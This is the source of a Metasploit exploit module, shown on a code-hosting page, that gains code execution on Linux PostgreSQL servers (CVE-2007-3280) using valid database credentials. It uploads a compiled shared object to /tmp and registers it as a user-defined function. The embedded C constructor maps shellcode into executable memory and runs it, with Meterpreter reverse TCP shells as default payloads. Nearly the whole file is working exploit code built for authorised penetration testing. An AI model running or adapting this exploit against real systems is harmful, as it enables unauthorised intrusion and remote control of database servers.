Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/postgres/postgres_payload.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Postgres
10
include Msf::Auxiliary::Report
11
include Msf::OptionalSession::PostgreSQL
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'PostgreSQL for Linux Payload Execution',
18
'Description' => %q{
19
On some default Linux installations of PostgreSQL, the
20
postgres service account may write to the /tmp directory, and
21
may source UDF Shared Libraries from there as well, allowing
22
execution of arbitrary code.
23
24
This module compiles a Linux shared object file, uploads it to
25
the target host via the UPDATE pg_largeobject method of binary
26
injection, and creates a UDF (user defined function) from that
27
shared object. Because the payload is run as the shared object's
28
constructor, it does not need to conform to specific Postgres
29
API versions.
30
},
31
'Author' => [
32
'midnitesnake', # this Metasploit module
33
'egypt', # on-the-fly compiled .so technique
34
'todb', # original windows module this is based on
35
'lucipher' # updated module to work on Postgres 8.2+
36
],
37
'License' => MSF_LICENSE,
38
'References' => [
39
[ 'CVE', '2007-3280' ],
40
[ 'URL', 'https://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
41
],
42
'Platform' => 'linux',
43
'Payload' => {
44
'Space' => 65535,
45
'DisableNops' => true
46
},
47
'Targets' => [
48
[
49
'Linux x86',
50
{
51
'Arch' => ARCH_X86,
52
'DefaultOptions' => {
53
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
54
}
55
}
56
],
57
[
58
'Linux x86_64',
59
{
60
'Arch' => ARCH_X64,
61
'DefaultOptions' => {
62
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
63
}
64
}
65
],
66
],
67
'DefaultTarget' => 0,
68
'DisclosureDate' => '2007-06-05',
69
'Notes' => {
70
'Stability' => [CRASH_SAFE],
71
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
72
'Reliability' => [REPEATABLE_SESSION]
73
}
74
)
75
)
76
77
deregister_options('SQL', 'RETURN_ROWSET')
78
end
79
80
def check
81
version = postgres_fingerprint
82
83
if version[:auth]
84
return CheckCode::Appears
85
end
86
87
CheckCode::Safe("Authentication failed. #{version[:preauth] || version[:unknown]}")
88
end
89
90
def exploit
91
self.postgres_conn = session.client if session
92
93
version = do_login(username, password, database)
94
case version
95
when :noauth
96
print_error 'Authentication failed'
97
return
98
when :noconn
99
print_error 'Connection failed'
100
return
101
else
102
print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")
103
end
104
105
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
106
107
unless postgres_upload_binary_data(payload_so(fname), fname)
108
fail_with(Failure::Unknown, 'Could not upload the UDF shared object file')
109
end
110
111
print_status("Uploaded as #{fname}, should be cleaned up automatically")
112
begin
113
func_name = Rex::Text.rand_text_alpha(10)
114
postgres_query(
115
"create or replace function pg_temp.#{func_name}()" \
116
" returns void as '#{fname}','#{func_name}' language c strict immutable"
117
)
118
rescue RuntimeError => e
119
print_error("Failed to create UDF function: #{e.class}: #{e}")
120
end
121
postgres_logout if @postgres_conn && session.blank?
122
end
123
124
# Authenticate to the postgres server.
125
#
126
# Returns the version from #postgres_fingerprint
127
def do_login(user = nil, pass = nil, database = nil)
128
password = pass || postgres_password
129
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless postgres_conn
130
result = postgres_fingerprint(
131
db: database,
132
username: user,
133
password: password
134
)
135
if result[:auth]
136
report_service(
137
host: postgres_conn.peerhost,
138
port: postgres_conn.peerport,
139
name: 'postgres',
140
info: result.values.first
141
)
142
return result[:auth]
143
else
144
print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")
145
return :noauth
146
end
147
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
148
return :noconn
149
end
150
151
def payload_so(filename)
152
shellcode = Rex::Text.to_hex(payload.encoded, '\\x')
153
# shellcode = "\\xcc"
154
155
c = %^
156
int _exit(int);
157
int printf(const char*, ...);
158
int perror(const char*);
159
void *mmap(int, int, int, int, int, int);
160
void *memcpy(void *, const void *, int);
161
int mprotect(void *, int, int);
162
int fork();
163
int unlink(const char *pathname);
164
165
#define MAP_PRIVATE 2
166
#define MAP_ANONYMOUS 32
167
#define PROT_READ 1
168
#define PROT_WRITE 2
169
#define PROT_EXEC 4
170
171
#define PAGESIZE 0x1000
172
173
typedef struct _Pg_magic_struct {
174
int len;
175
int version;
176
int funcmaxargs;
177
int indexmaxkeys;
178
int namedatalen;
179
int float4byval;
180
int float8byval;
181
} Pg_magic_struct;
182
183
extern const Pg_magic_struct *PG_MAGIC_FUNCTION_NAME(void);
184
185
const Pg_magic_struct * PG_MAGIC_FUNCTION_NAME(void)
186
{
187
static const Pg_magic_struct Pg_magic_data = {sizeof(Pg_magic_struct), 804, 100, 32, 64, 1, 1};
188
return &Pg_magic_data;
189
}
190
191
char shellcode[] = "#{shellcode}";
192
193
void run_payload(void) __attribute__((constructor));
194
195
void run_payload(void)
196
{
197
int (*fp)();
198
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
199
200
memcpy(fp, shellcode, sizeof(shellcode));
201
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
202
_exit(1);
203
}
204
if (!fork()) {
205
fp();
206
}
207
208
unlink("#{filename}");
209
return;
210
}
211
212
^
213
214
cpu = case target_arch.first
215
when ARCH_X86 then Metasm::Ia32.new
216
when ARCH_X64 then Metasm::X86_64.new
217
end
218
payload_so = Metasm::ELF.compile_c(cpu, c, 'payload.c')
219
220
payload_so.encode_string(:lib)
221
end
222
end
223
224